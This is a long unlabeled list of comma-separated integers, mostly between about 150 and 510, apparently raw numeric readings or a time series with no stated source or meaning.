226, 216, 208, 220, 210, 225, 223, 212, 200, 219, 217, 217, 192, 220, 240, 214, 231, 208, 170, 226, 235, 213, 208, 216, 222, 217, 214, 223, 365, 402, 319, 415, 403, 401, 381, 382, 389, 375, 388, 377, 371, 381, 284, 293, 299, 255, 292, 262, 243, 230, 225, 219, 250, 252, 278, 246, 223, 246, 240, 253, 239, 258, 264, 242, 264, 273, 271, 242, 269, 273, 284, 260, 265, 261, 274, 262, 276, 265, 274, 276, 274, 270, 295, 240, 249, 240, 256, 255, 250, 248, 236, 251, 269, 244, 234, 251, 259, 254, 249, 239, 249, 236, 250, 239, 239, 247, 249, 249, 243, 242, 200, 201, 197, 192, 208, 194, 199, 197, 200, 214, 208, 210, 216, 213, 211, 217, 208, 224, 213, 214, 223, 214, 259, 382, 336, 363, 350, 378, 365, 372, 362, 331, 311, 317, 295, 303, 268, 286, 282, 289, 266, 277, 287, 299, 291, 282, 271, 281, 254, 292, 310, 281, 262, 269, 267, 272, 283, 283, 281, 282, 296, 355, 336, 360, 370, 351, 350, 359, 345, 352, 334, 359, 327, 330, 336, 307, 287, 273, 260, 282, 277, 288, 274, 277, 286, 292, 281, 271, 286, 284, 272, 287, 278, 291, 281, 294, 279, 277, 297, 289, 281, 297, 302, 376, 373, 379, 365, 339, 285, 335, 324, 413, 364, 322, 318, 274, 288, 281, 272, 258, 245, 222, 201, 208, 204, 196, 188, 205, 195, 235, 271, 249, 252, 264, 350, 339, 329, 350, 315, 301, 285, 305, 276, 275, 272, 291, 234, 244, 255, 232, 243, 261, 234, 259, 246, 236, 237, 243, 238, 246, 244, 235, 257, 247, 241, 237, 234, 203, 215, 208, 208, 191, 200, 216, 205, 201, 220, 188, 196, 205, 220, 214, 212, 207, 209, 220, 212, 231, 268, 276, 319, 324, 346, 354, 319, 334, 350, 334, 320, 327, 341, 348, 342, 340, 340, 331, 330, 321, 312, 290, 299, 299, 303, 291, 300, 300, 304, 302, 299, 295, 304, 298, 304, 302, 299, 304, 337, 335, 345, 331, 335, 345, 338, 324, 347, 337, 328, 354, 326, 341, 331, 337, 345, 379, 357, 349, 352, 352, 345, 283, 268, 279, 284, 225, 244, 239, 231, 235, 230, 270, 238, 244, 201, 228, 233, 214, 215, 218, 209, 197, 206, 192, 202, 200, 199, 192, 207, 202, 206, 204, 192, 190, 201, 195, 171, 189, 190, 199, 199, 179, 200, 177, 185, 195, 210, 199, 203, 192, 180, 187, 180, 201, 203, 204, 205, 189, 177, 262, 369, 375, 368, 375, 376, 362, 319, 322, 295, 298, 304, 305, 308, 294, 305, 334, 375, 374, 349, 361, 365, 376, 355, 365, 368, 345, 315, 317, 327, 316, 339, 320, 337, 307, 325, 269, 284, 269, 254, 263, 296, 433, 391, 402, 399, 407, 394, 384, 389, 388, 429, 377, 276, 280, 280, 269, 344, 278, 257, 276, 249, 281, 264, 272, 283, 262, 249, 268, 364, 429, 457, 435, 420, 422, 439, 444, 444, 362, 287, 270, 283, 287, 291, 280, 280, 295, 281, 279, 282, 298, 281, 293, 270, 279, 292, 340, 343, 336, 321, 345, 350, 349, 344, 339, 331, 358, 341, 327, 300, 320, 311, 324, 331, 322, 317, 332, 324, 285, 276, 298, 279, 271, 308, 368, 391, 428, 413, 412, 418, 420, 401, 427, 434, 423, 403, 374, 356, 367, 357, 357, 367, 345, 330, 324, 320, 241, 246, 236, 234, 228, 237, 229, 240, 217, 217, 281, 358, 331, 339, 335, 337, 359, 400, 413, 407, 401, 408, 393, 396, 407, 409, 407, 396, 413, 391, 409, 397, 364, 361, 345, 344, 344, 351, 361, 354, 340, 360, 363, 339, 346, 349, 358, 339, 350, 354, 344, 378, 362, 366, 367, 362, 369, 360, 369, 365, 356, 329, 293, 275, 262, 277, 271, 262, 271, 276, 262, 263, 269, 274, 269, 265, 281, 298, 305, 289, 295, 283, 289, 288, 304, 309, 297, 364, 349, 345, 340, 340, 350, 319, 328, 303, 310, 306, 300, 313, 333, 361, 381, 364, 364, 336, 335, 342, 332, 330, 327, 320, 312, 406, 457, 459, 434, 436, 434, 445, 397, 443, 431, 443, 437, 432, 423, 428, 454, 432, 430, 429, 432, 437, 424, 385, 328, 323, 332, 323, 333, 327, 329, 313, 341, 323, 317, 326, 379, 403, 360, 337, 337, 357, 329, 321, 320, 314, 326, 335, 344, 335, 354, 332, 347, 329, 336, 344, 345, 339, 380, 414, 396, 415, 410, 419, 400, 423, 389, 356, 373, 367, 388, 284, 295, 297, 299, 295, 319, 368, 281, 223, 254, 225, 269, 291, 267, 285, 288, 291, 292, 318, 404, 391, 368, 376, 373, 357, 353, 362, 361, 368, 377, 379, 286, 279, 268, 331, 395, 381, 373, 369, 375, 366, 378, 385, 375, 358, 362, 385, 380, 386, 357, 366, 372, 385, 369, 387, 385, 376, 394, 380, 381, 386, 396, 344, 306, 297, 305, 297, 276, 280, 228, 221, 220, 242, 240, 269, 262, 243, 241, 250, 247, 240, 237, 251, 239, 242, 236, 276, 321, 329, 381, 378, 358, 369, 372, 351, 350, 275, 251, 246, 242, 273, 249, 253, 194, 195, 197, 182, 207, 197, 195, 195, 213, 224, 216, 217, 213, 350, 424, 408, 397, 346, 339, 310, 321, 326, 314, 316, 299, 319, 316, 296, 305, 300, 313, 308, 291, 297, 284, 373, 425, 438, 405, 418, 393, 401, 388, 303, 319, 321, 317, 326, 332, 309, 324, 314, 362, 414, 318, 323, 425, 333, 315, 306, 321, 314, 310, 320, 318, 323, 432, 437, 407, 416, 416, 415, 416, 325, 332, 343, 318, 343, 312, 328, 320, 331, 329, 329, 307, 298, 297, 307, 318, 324, 324, 323, 328, 317, 333, 316, 299, 310, 410, 411, 404, 407, 418, 330, 339, 325, 323, 304, 320, 305, 312, 394, 422, 415, 427, 414, 417, 421, 417, 420, 384, 323, 366, 382, 356, 375, 371, 343, 312, 299, 300, 296, 299, 303, 298, 302, 297, 292, 307, 294, 300, 349, 350, 332, 328, 335, 338, 335, 342, 342, 350, 337, 330, 313, 297, 307, 309, 294, 322, 305, 333, 421, 401, 418, 402, 414, 417, 377, 319, 317, 335, 328, 309, 330, 322, 331, 326, 345, 303, 364, 432, 407, 438, 424, 386, 412, 357, 314, 327, 322, 319, 302, 333, 317, 316, 324, 420, 423, 427, 404, 417, 392, 391, 386, 322, 309, 308, 319, 332, 334, 313, 319, 337, 333, 309, 308, 311, 306, 321, 326, 316, 447, 443, 410, 408, 430, 431, 398, 414, 418, 406, 417, 414, 341, 322, 352, 377, 387, 382, 374, 360, 324, 321, 331, 319, 337, 306, 313, 377, 370, 364, 360, 360, 375, 366, 369, 340, 313, 324, 328, 268, 279, 273, 271, 382, 425, 433, 418, 433, 417, 416, 409, 339, 337, 318, 338, 321, 326, 315, 350, 383, 383, 368, 371, 363, 356, 296, 274, 264, 271, 249, 262, 244, 283, 267, 326, 411, 414, 417, 380, 346, 330, 317, 337, 332, 311, 328, 305, 319, 311, 313, 308, 317, 296, 310, 310, 308, 377, 449, 452, 448, 445, 447, 438, 426, 433, 427, 425, 418, 390, 365, 371, 353, 371, 359, 374, 360, 357, 372, 363, 316, 292, 284, 285, 289, 298, 282, 269, 209, 231, 253, 236, 251, 250, 248, 236, 235, 246, 255, 244, 254, 258, 261, 263, 249, 246, 247, 256, 238, 248, 313, 353, 360, 356, 320, 355, 353, 360, 370, 341, 353, 346, 356, 333, 331, 335, 337, 339, 335, 335, 337, 315, 293, 279, 281, 284, 265, 282, 284, 293, 269, 268, 277, 278, 284, 271, 287, 270, 269, 297, 278, 297, 299, 295, 268, 274, 296, 336, 339, 335, 353, 308, 329, 320, 343, 339, 329, 349, 333, 338, 357, 372, 352, 372, 262, 229, 222, 200, 222, 206, 192, 194, 228, 331, 327, 321, 325, 344, 327, 331, 332, 373, 369, 381, 395, 389, 382, 390, 378, 387, 304, 276, 271, 279, 353, 381, 362, 361, 342, 351, 371, 359, 370, 361, 369, 358, 305, 246, 253, 243, 238, 237, 239, 235, 231, 222, 229, 224, 215, 206, 242, 231, 222, 215, 226, 210, 230, 220, 272, 373, 390, 401, 398, 398, 406, 388, 373, 350, 308, 321, 326, 319, 318, 317, 328, 327, 319, 314, 312, 331, 311, 282, 243, 266, 235, 248, 248, 241, 249, 261, 345, 415, 392, 379, 398, 389, 395, 403, 386, 392, 393, 394, 397, 381, 383, 385, 403, 394, 396, 382, 377, 379, 377, 388, 383, 382, 335, 351, 341, 338, 344, 358, 359, 352, 356, 361, 343, 353, 359, 351, 344, 345, 344, 358, 350, 357, 369, 357, 350, 343, 312, 319, 297, 299, 257, 238, 231, 212, 238, 221, 219, 239, 270, 245, 253, 269, 244, 276, 267, 273, 246, 263, 256, 260, 251, 261, 257, 256, 343, 375, 380, 368, 363, 379, 351, 354, 374, 367, 357, 378, 368, 367, 371, 365, 371, 340, 390, 267, 256, 278, 232, 259, 237, 238, 242, 250, 229, 241, 248, 245, 217, 252, 234, 245, 226, 241, 228, 259, 236, 257, 275, 285, 383, 367, 363, 349, 357, 369, 351, 285, 258, 250, 265, 247, 235, 222, 207, 197, 200, 283, 400, 370, 403, 386, 366, 390, 361, 378, 400, 288, 309, 302, 284, 309, 296, 299, 336, 308, 293, 295, 295, 292, 303, 303, 288, 309, 302, 338, 320, 367, 380, 362, 375, 377, 365, 348, 388, 370, 362, 357, 374, 322, 280, 271, 283, 281, 289, 256, 270, 252, 280, 271, 269, 263, 262, 254, 234, 247, 291, 303, 319, 365, 382, 373, 390, 369, 359, 347, 369, 291, 290, 296, 290, 291, 307, 296, 306, 314, 313, 302, 296, 310, 370, 435, 430, 424, 430, 413, 360, 370, 385, 375, 357, 329, 313, 303, 267, 264, 268, 274, 273, 263, 271, 264, 255, 289, 250, 245, 231, 228, 215, 195, 223, 239, 246, 258, 253, 249, 248, 250, 259, 253, 250, 315, 308, 320, 327, 293, 304, 321, 376, 275, 339, 387, 368, 375, 327, 310, 302, 306, 307, 316, 318, 306, 313, 308, 318, 324, 325, 380, 357, 349, 360, 364, 259, 251, 250, 252, 246, 239, 249, 236, 246, 239, 201, 226, 234, 244, 242, 245, 238, 248, 246, 238, 233, 294, 423, 444, 413, 402, 410, 398, 403, 425, 411, 409, 386, 418, 396, 421, 369, 281, 266, 282, 283, 278, 259, 237, 250, 249, 263, 263, 264, 273, 266, 261, 278, 266, 287, 261, 270, 282, 264, 256, 268, 257, 255, 269, 379, 359, 375, 384, 365, 345, 274, 231, 275, 280, 285, 279, 266, 281, 280, 262, 288, 281, 266, 263, 283, 266, 324, 370, 380, 371, 379, 372, 376, 377, 361, 377, 371, 369, 357, 366, 362, 361, 362, 347, 367, 364, 369, 338, 331, 356, 343, 356, 331, 336, 328, 327, 307, 325, 322, 313, 313, 324, 326, 296, 358, 369, 368, 376, 376, 384, 385, 382, 368, 345, 348, 366, 374, 369, 365, 361, 362, 379, 372, 383, 361, 372, 362, 371, 367, 364, 384, 379, 380, 368, 383, 388, 372, 377, 359, 367, 307, 324, 296, 276, 294, 288, 307, 302, 292, 309, 264, 260, 187, 232, 251, 237, 209, 213, 211, 207, 202, 208, 198, 205, 212, 198, 206, 204, 230, 212, 226, 226, 235, 228, 224, 209, 216, 236, 200, 210, 202, 205, 220, 214, 201, 227, 243, 281, 281, 257, 267, 340, 337, 347, 335, 357, 341, 322, 327, 310, 321, 324, 295, 271, 288, 290, 286, 254, 255, 259, 239, 238, 229, 219, 227, 224, 234, 192, 199, 186, 221, 206, 201, 216, 225, 220, 200, 208, 228, 211, 200, 211, 205, 196, 185, 202, 223, 187, 199, 204, 196, 201, 198, 326, 390, 415, 393, 400, 400, 393, 391, 393, 354, 374, 352, 372, 364, 369, 371, 372, 354, 354, 315, 250, 296, 442, 426, 440, 452, 439, 435, 399, 371, 366, 381, 353, 363, 347, 347, 353, 361, 365, 336, 347, 358, 344, 357, 270, 284, 267, 270, 254, 255, 258, 253, 261, 281, 262, 251, 264, 273, 275, 271, 259, 244, 264, 263, 272, 264, 271, 249, 247, 252, 240, 247, 241, 242, 291, 291, 292, 291, 293, 287, 356, 402, 401, 413, 381, 405, 403, 402, 399, 413, 401, 390, 362, 358, 365, 336, 324, 365, 361, 352, 363, 331, 356, 343, 344, 343, 336, 342, 346, 348, 343, 310, 273, 273, 269, 271, 332, 321, 468, 387, 382, 295, 265, 268, 256, 256, 259, 248, 271, 344, 399, 373, 356, 372, 375, 377, 382, 365, 371, 368, 352, 381, 347, 297, 298, 285, 286, 294, 282, 280, 276, 269, 280, 274, 270, 278, 353, 338, 339, 336, 376, 377, 396, 391, 387, 390, 401, 405, 384, 375, 374, 394, 387, 391, 387, 380, 381, 384, 376, 368, 334, 321, 330, 342, 313, 329, 315, 323, 322, 328, 317, 308, 308, 333, 312, 314, 325, 370, 390, 368, 384, 405, 371, 362, 310, 300, 287, 282, 279, 271, 284, 288, 234, 187, 204, 201, 204, 211, 224, 234, 215, 240, 224, 212, 215, 231, 237, 238, 232, 226, 220, 224, 234, 218, 223, 226, 223, 233, 237, 231, 230, 223, 221, 224, 232, 229, 226, 226, 218, 235, 232, 224, 211, 219, 210, 211, 220, 221, 232, 231, 237, 261, 249, 260, 246, 242, 250, 265, 248, 236, 204, 221, 203, 207, 200, 200, 204, 199, 192, 203, 182, 222, 219, 230, 249, 427, 416, 445, 423, 423, 417, 427, 435, 448, 403, 296, 233, 423, 422, 415, 392, 408, 380, 386, 387, 391, 421, 405, 400, 283, 259, 247, 262, 267, 265, 272, 286, 379, 388, 364, 378, 371, 388, 333, 302, 301, 284, 233, 238, 251, 238, 240, 226, 237, 226, 236, 208, 208, 252, 227, 240, 259, 234, 230, 229, 244, 225, 251, 232, 273, 265, 280, 288, 268, 272, 318, 330, 345, 331, 337, 319, 334, 351, 419, 416, 414, 395, 422, 410, 416, 413, 362, 331, 329, 310, 306, 346, 322, 307, 340, 329, 373, 428, 435, 433, 438, 408, 415, 429, 424, 406, 425, 423, 413, 424, 399, 420, 426, 431, 414, 397, 362, 353, 357, 354, 362, 345, 357, 353, 363, 347, 352, 354, 350, 353, 393, 340, 358, 355, 358, 371, 368, 388, 386, 376, 394, 371, 367, 364, 379, 362, 346, 367, 363, 377, 367, 357, 358, 368, 351, 380, 371, 380, 390, 326, 315, 312, 293, 298, 303, 291, 320, 296, 294, 259, 247, 248, 248, 260, 273, 245, 250, 254, 235, 245, 234, 238, 229, 246, 254, 240, 252, 236, 239, 246, 221, 246, 245, 238, 235, 249, 241, 245, 242, 234, 264, 266, 265, 265, 264, 266, 257, 252, 256, 246, 276, 275, 273, 270, 304, 375, 371, 356, 349, 347, 346, 321, 330, 324, 332, 319, 324, 378, 404, 396, 398, 411, 396, 417, 376, 331, 321, 331, 300, 302, 298, 311, 328, 291, 313, 298, 294, 312, 327, 299, 295, 297, 244, 239, 256, 223, 234, 223, 235, 229, 225, 214, 226, 186, 198, 193, 199, 196, 222, 219, 228, 236, 238, 239, 219, 200, 212, 216, 215, 200, 205, 203, 231, 225, 208, 257, 277, 265, 267, 265, 281, 258, 266, 275, 272, 271, 280, 276, 270, 284, 279, 355, 387, 371, 365, 297, 284, 244, 266, 264, 260, 265, 263, 264, 258, 254, 249, 257, 262, 240, 225, 221, 213, 211, 217, 216, 218, 229, 236, 216, 208, 216, 215, 228, 229, 277, 255, 244, 237, 230, 262, 238, 240, 257, 243, 228, 250, 253, 250, 254, 233, 236, 246, 249, 254, 227, 235, 228, 236, 228, 238, 213, 247, 229, 217, 216, 229, 241, 236, 225, 245, 225, 217, 233, 235, 244, 285, 281, 305, 368, 368, 365, 368, 366, 369, 357, 330, 328, 308, 306, 320, 321, 424, 433, 421, 440, 418, 422, 375, 374, 343, 359, 350, 338, 348, 353, 341, 319, 326, 330, 317, 302, 350, 414, 415, 398, 423, 385, 382, 380, 375, 376, 318, 299, 289, 284, 271, 288, 288, 275, 255, 244, 240, 272, 235, 261, 244, 246, 236, 222, 237, 192, 156, 158, 175, 161, 159, 170, 157, 159, 173, 161, 146, 180, 159, 154, 196, 229, 248, 204, 221, 243, 210, 215, 193, 220, 210, 393, 444, 449, 443, 432, 438, 397, 376, 374, 381, 365, 369, 376, 353, 385, 367, 365, 377, 377, 371, 319, 293, 306, 294, 302, 297, 314, 293, 269, 285, 285, 250, 246, 230, 250, 250, 250, 242, 243, 233, 222, 267, 246, 236, 247, 266, 260, 256, 257, 249, 246, 227, 236, 230, 233, 222, 212, 215, 213, 218, 206, 218, 222, 223, 194, 204, 202, 219, 204, 228, 214, 234, 230, 223, 220, 229, 215, 227, 215, 211, 224, 223, 209, 181, 216, 234, 225, 208, 214, 204, 219, 214, 212, 224, 257, 260, 249, 254, 257, 269, 270, 262, 329, 330, 350, 331, 338, 340, 349, 332, 346, 353, 349, 350, 349, 367, 322, 320, 314, 301, 272, 262, 255, 222, 226, 236, 205, 204, 189, 208, 241, 238, 237, 244, 238, 236, 232, 248, 241, 249, 257, 320, 303, 312, 306, 311, 299, 360, 365, 373, 356, 353, 345, 350, 361, 333, 331, 352, 327, 314, 296, 295, 312, 308, 284, 296, 299, 343, 377, 371, 353, 378, 373, 382, 379, 363, 362, 368, 352, 359, 352, 341, 360, 345, 359, 357, 338, 337, 348, 348, 369, 349, 347, 383, 355, 333, 356, 353, 371, 338, 339, 354, 344, 349, 352, 333, 351, 348, 351, 327, 270, 284, 251, 234, 260, 258, 281, 257, 172, 172, 213, 198, 202, 217, 217, 215, 224, 248, 242, 225, 236, 260, 353, 311, 290, 309, 297, 295, 350, 406, 416, 376, 391, 348, 371, 372, 335, 307, 278, 228, 226, 246, 236, 240, 229, 242, 359, 416, 415, 396, 395, 402, 357, 273, 256, 249, 246, 331, 374, 364, 372, 332, 371, 361, 362, 372, 385, 352, 367, 373, 300, 292, 266, 285, 306, 297, 273, 291, 259, 247, 252, 279, 272, 281, 315, 311, 323, 336, 352, 368, 361, 390, 369, 372, 349, 281, 294, 280, 276, 292, 313, 253, 253, 245, 231, 189, 203, 196, 189, 207, 188, 207, 244, 268, 259, 257, 307, 315, 325, 332, 316, 283, 317, 306, 307, 311, 319, 327, 326, 365, 425, 429, 441, 401, 422, 419, 416, 421, 403, 427, 412, 419, 423, 425, 425, 374, 361, 366, 358, 340, 342, 332, 255, 223, 223, 237, 235, 207, 219, 208, 199, 211, 212, 230, 205, 301, 364, 359, 352, 349, 281, 272, 253, 258, 294, 249, 263, 254, 262, 275, 232, 260, 255, 260, 281, 250, 245, 256, 262, 287, 280, 256, 245, 302, 315, 256, 250, 261, 261, 253, 269, 264, 257, 265, 254, 270, 345, 330, 332, 342, 342, 337, 337, 334, 329, 338, 319, 320, 323, 331, 327, 334, 299, 281, 292, 310, 296, 298, 302, 330, 315, 308, 306, 305, 309, 302, 328, 316, 307, 301, 372, 439, 439, 410, 392, 331, 339, 339, 312, 329, 286, 322, 309, 317, 315, 308, 335, 315, 300, 370, 370, 392, 389, 374, 368, 377, 380, 371, 391, 378, 370, 376, 367, 353, 377, 376, 375, 366, 370, 367, 364, 356, 363, 354, 361, 365, 356, 331, 293, 294, 294, 299, 303, 288, 297, 294, 300, 293, 298, 302, 296, 297, 293, 287, 310, 271, 300, 289, 297, 279, 313, 327, 355, 366, 355, 351, 317, 303, 309, 328, 354, 363, 355, 376, 353, 351, 354, 360, 348, 355, 360, 352, 338, 363, 345, 358, 340, 358, 344, 349, 355, 349, 348, 348, 341, 355, 343, 350, 350, 343, 347, 360, 365, 366, 339, 346, 359, 355, 295, 299, 307, 285, 287, 303, 290, 295, 301, 278, 277, 250, 262, 266, 300, 271, 274, 222, 246, 245, 231, 232, 210, 216, 238, 257, 253, 252, 255, 256, 282, 272, 245, 305, 318, 324, 325, 352, 385, 398, 369, 374, 387, 382, 383, 363, 372, 355, 351, 360, 359, 358, 299, 298, 298, 308, 314, 302, 320, 312, 311, 305, 300, 286, 312, 294, 304, 306, 296, 295, 310, 290, 294, 285, 291, 285, 304, 285, 284, 287, 303, 323, 340, 331, 326, 323, 319, 319, 313, 323, 320, 309, 324, 316, 317, 328, 329, 326, 343, 397, 380, 376, 368, 388, 379, 391, 401, 398, 377, 399, 378, 384, 370, 401, 409, 384, 408, 357, 382, 370, 380, 374, 374, 323, 314, 337, 318, 335, 348, 380, 386, 379, 375, 370, 323, 303, 290, 305, 314, 346, 339, 342, 322, 324, 324, 338, 353, 389, 371, 373, 379, 362, 370, 357, 314, 323, 321, 332, 377, 384, 392, 381, 391, 378, 382, 385, 363, 356, 366, 359, 364, 376, 355, 359, 361, 358, 349, 365, 344, 344, 364, 331, 340, 341, 313, 269, 279, 254, 197, 196, 196, 219, 216, 214, 212, 190, 193, 204, 199, 210, 194, 211, 201, 190, 197, 196, 203, 180, 209, 210, 190, 193, 191, 192, 225, 259, 256, 277, 360, 368, 364, 347, 335, 334, 345, 341, 346, 339, 340, 307, 318, 321, 322, 327, 318, 315, 456, 457, 443, 450, 467, 428, 435, 458, 429, 438, 362, 366, 370, 369, 370, 365, 363, 363, 353, 358, 359, 359, 372, 364, 380, 376, 361, 375, 347, 419, 326, 345, 334, 351, 351, 359, 354, 358, 353, 336, 347, 358, 363, 354, 344, 353, 346, 356, 327, 326, 357, 354, 332, 359, 347, 347, 334, 325, 326, 325, 319, 307, 321, 322, 369, 352, 349, 354, 364, 345, 337, 348, 342, 355, 358, 343, 332, 329, 321, 305, 311, 294, 310, 310, 318, 305, 345, 356, 350, 344, 347, 342, 327, 344, 333, 326, 323, 324, 354, 382, 390, 380, 395, 394, 384, 400, 376, 370, 376, 374, 307, 318, 308, 303, 318, 331, 326, 364, 370, 376, 351, 364, 366, 348, 342, 338, 321, 308, 436, 427, 427, 410, 426, 410, 430, 432, 424, 417, 419, 423, 432, 431, 426, 423, 419, 387, 360, 359, 343, 362, 345, 352, 363, 358, 357, 351, 358, 353, 361, 375, 386, 362, 367, 381, 341, 325, 345, 318, 337, 335, 337, 334, 342, 339, 331, 331, 329, 345, 310, 272, 277, 284, 263, 289, 251, 266, 264, 256, 324, 393, 388, 384, 371, 364, 293, 279, 282, 277, 294, 285, 276, 275, 290, 286, 302, 333, 352, 337, 324, 356, 346, 343, 326, 352, 329, 324, 320, 315, 307, 314, 301, 308, 305, 292, 300, 302, 308, 322, 372, 364, 353, 345, 353, 349, 333, 357, 357, 339, 348, 309, 283, 275, 274, 256, 270, 230, 249, 229, 217, 236, 234, 243, 223, 226, 243, 248, 218, 225, 239, 234, 226, 223, 233, 216, 230, 221, 215, 215, 212, 225, 197, 199, 186, 200, 199, 245, 224, 223, 230, 223, 249, 229, 227, 237, 229, 226, 248, 239, 239, 248, 245, 252, 224, 234, 222, 242, 216, 224, 215, 215, 243, 218, 224, 232, 249, 227, 240, 234, 219, 185, 194, 174, 167, 211, 202, 194, 190, 200, 257, 282, 268, 256, 268, 306, 311, 396, 377, 379, 381, 408, 385, 331, 296, 301, 301, 305, 313, 295, 274, 289, 286, 295, 291, 304, 305, 295, 303, 294, 262, 261, 263, 283, 291, 278, 247, 253, 243, 241, 227, 231, 227, 224, 229, 231, 231, 227, 237, 245, 239, 241, 246, 206, 222, 225, 224, 251, 308, 301, 289, 307, 310, 325, 299, 328, 393, 388, 388, 388, 369, 392, 390, 349, 352, 358, 367, 366, 366, 365, 368, 359, 357, 337, 342, 336, 335, 325, 327, 450, 467, 458, 456, 417, 454, 439, 451, 471, 451, 470, 455, 434, 443, 446, 453, 430, 445, 444, 449, 454, 447, 450, 444, 446, 367, 512, 460, 450, 439, 438, 454, 442, 446, 438, 441, 430, 406, 381, 365, 374, 349, 265, 261, 263, 242, 255, 251, 250, 263, 259, 249, 249, 263, 254, 250, 268, 264, 257, 270, 268, 255, 271, 309, 383, 385, 384, 389, 380, 394, 395, 383, 388, 396, 289, 323, 282, 260, 369, 383, 377, 393, 387, 376, 359, 367, 353, 345, 345, 346, 361, 349, 303, 276, 261, 271, 212, 233, 209, 225, 216, 200, 236, 242, 248, 250, 307, 349, 357, 350, 356, 364, 366, 351, 347, 340, 355, 335, 338, 336, 351, 341, 336, 337, 339, 339, 343, 330, 342, 333, 330, 342, 341, 314, 303, 313, 311, 406, 427, 433, 437, 425, 420, 453, 424, 429, 440, 381, 356, 343, 342, 332, 305, 326, 314, 295, 321, 309, 303, 319, 377, 380, 381, 383, 375, 400, 389, 354, 380, 330, 295, 309, 306, 285, 333, 336, 360, 332, 340, 345, 338, 357, 351, 357, 355, 349, 349, 369, 365, 371, 357, 364, 355, 367, 361, 343, 337, 341, 342, 336, 347, 333, 350, 327, 338, 320, 314, 321, 318, 310, 292, 301, 309, 305, 322, 338, 337, 372, 397, 428, 407, 384, 362, 381, 382, 375, 376, 312, 319, 307, 311, 327, 393, 417, 416, 397, 409, 404, 420, 435, 411, 422, 410, 351, 335, 327, 324, 355, 384, 362, 366, 372, 369, 366, 305, 311, 303, 359, 311, 301, 293, 301, 312, 299, 299, 308, 305, 311, 298, 311, 289, 321, 321, 331, 329, 332, 334, 355, 319, 306, 287, 270, 304, 312, 305, 402, 405, 424, 349, 343, 342, 346, 344, 354, 350, 335, 344, 337, 345, 342, 327, 331, 318, 328, 332, 342, 326, 308, 317, 314, 303, 297, 305, 304, 311, 303, 326, 294, 359, 383, 390, 399, 389, 380, 387, 377, 394, 376, 383, 376, 278, 325, 333, 330, 325, 313, 310, 315, 306, 301, 306, 392, 321, 329, 301, 321, 322, 325, 301, 302, 320, 344, 356, 338, 366, 370, 358, 361, 360, 376, 373, 364, 355, 373, 357, 364, 355, 352, 377, 373, 360, 363, 362, 322, 299, 267, 325, 302, 291, 298, 301, 330, 313, 284, 259, 257, 257, 291, 263, 239, 232, 207, 215, 222, 221, 206, 224, 218, 205, 226, 215, 207, 208, 198, 217, 210, 192, 210, 211, 243, 254, 251, 260, 245, 275, 341, 344, 334, 325, 345, 333, 337, 336, 329, 342, 353, 368, 379, 391, 370, 346, 367, 354, 342, 352, 332, 354, 335, 325, 331, 346, 338, 334, 283, 285, 299, 307, 319, 289, 294, 248, 263, 229, 239, 228, 232, 235, 238, 255, 236, 244, 269, 262, 269, 279, 283, 286, 272, 282, 309, 357, 360, 372, 372, 364, 372, 359, 360, 356, 356, 358, 373, 381, 385, 401, 348, 393, 392, 331, 298, 291, 275, 260, 259, 276, 259, 272, 266, 262, 264, 249, 263, 276, 259, 286, 258, 266, 272, 276, 258, 266, 282, 272, 281, 277, 267, 276, 284, 277, 275, 273, 288, 294, 277, 281, 280, 313, 362, 329, 369, 346, 361, 364, 337, 339, 343, 395, 400, 312, 311, 299, 308, 282, 234, 228, 231, 247, 231, 236, 226, 239, 228, 233, 240, 232, 226, 236, 226, 226, 373, 459, 439, 448, 462, 446, 454, 444, 441, 444, 374, 370, 359, 354, 319, 316, 307, 305, 324, 314, 311, 322, 303, 304, 288, 301, 315, 268, 285, 269, 270, 273, 284, 317, 265, 291, 275, 261, 254, 258, 265, 254, 288, 254, 251, 253, 266, 253, 244, 262, 250, 257, 247, 276, 304, 280, 286, 275, 240, 256, 247, 239, 233, 294, 300, 285, 294, 285, 302, 288, 295, 369, 367, 352, 354, 396, 385, 381, 385, 371, 385, 380, 372, 321, 325, 306, 306, 297, 292, 288, 271, 268, 295, 248, 228, 219, 231, 226, 245, 245, 225, 227, 244, 235, 245, 230, 237, 230, 231, 232, 228, 232, 193, 212, 185, 196, 192, 235, 214, 215, 217, 227, 238, 243, 228, 261, 246, 244, 257, 294, 310, 335, 326, 334, 351, 345, 325, 332, 338, 327, 349, 352, 354, 335, 333, 346, 316, 319, 321, 326, 335, 325, 334, 336, 328, 328, 330, 320, 334, 319, 335, 325, 332, 315, 327, 291, 281, 281, 264, 268, 281, 263, 258, 264, 263, 250, 265, 259, 261, 257, 259, 263, 242, 271, 310, 443, 446, 451, 432, 444, 465, 441, 439, 451, 426, 370, 365, 369, 355, 369, 360, 395, 359, 379, 362, 315, 306, 294, 316, 300, 291, 293, 296, 302, 302, 296, 294, 296, 279, 287, 284, 286, 229, 249, 207, 186, 198, 198, 203, 202, 203, 197, 197, 373, 372, 367, 379, 374, 358, 303, 298, 298, 306, 309, 315, 271, 300, 286, 291, 294, 287, 283, 283, 278, 266, 216, 205, 199, 232, 227, 221, 228, 245, 240, 238, 246, 224, 222, 232, 264, 270, 274, 271, 274, 318, 338, 361, 345, 342, 355, 336, 260, 234, 248, 237, 252, 247, 263, 251, 264, 264, 281, 278, 275, 275, 292, 273, 269, 277, 270, 296, 257, 336, 346, 332, 306, 225, 235, 244, 221, 207, 222, 230, 227, 233, 225, 221, 218, 226, 221, 232, 218, 215, 218, 240, 237, 235, 216, 239, 217, 245, 223, 233, 329, 412, 404, 434, 412, 410, 433, 432, 399, 402, 418, 320, 277, 276, 281, 279, 292, 273, 348, 418, 378, 396, 385, 372, 385, 394, 361, 367, 392, 373, 253, 258, 243, 257, 246, 255, 247, 464, 455, 440, 433, 444, 451, 447, 436, 441, 437, 376, 350, 355, 344, 337, 350, 357, 353, 353, 344, 353, 344, 282, 266, 284, 276, 276, 279, 257, 272, 273, 269, 274, 260, 273, 271, 278, 283, 267, 282, 287, 264, 316, 379, 358, 331, 353, 355, 342, 344, 350, 345, 361, 367, 378, 379, 407, 303, 275, 269, 262, 258, 261, 260, 270, 276, 239, 238, 311, 380, 396, 368, 387, 403, 388, 384, 367, 380, 358, 343, 249, 236, 234, 218, 360, 312, 369, 341, 363, 356, 367, 361, 348, 360, 358, 396, 393, 416, 421, 363, 352, 363, 357, 340, 353, 345, 334, 333, 364, 389, 393, 375, 375, 345, 311, 282, 295, 247, 244, 256, 208, 215, 204, 220, 221, 225, 223, 219, 233, 212, 213, 219, 266, 270, 232, 223, 223, 242, 242, 241, 245, 243, 230, 212, 214, 218, 226, 226, 213, 215, 237, 228, 255, 238, 241, 241, 251, 243, 248, 254, 249, 250, 234, 257, 290, 287, 302, 302, 306, 325, 316, 319, 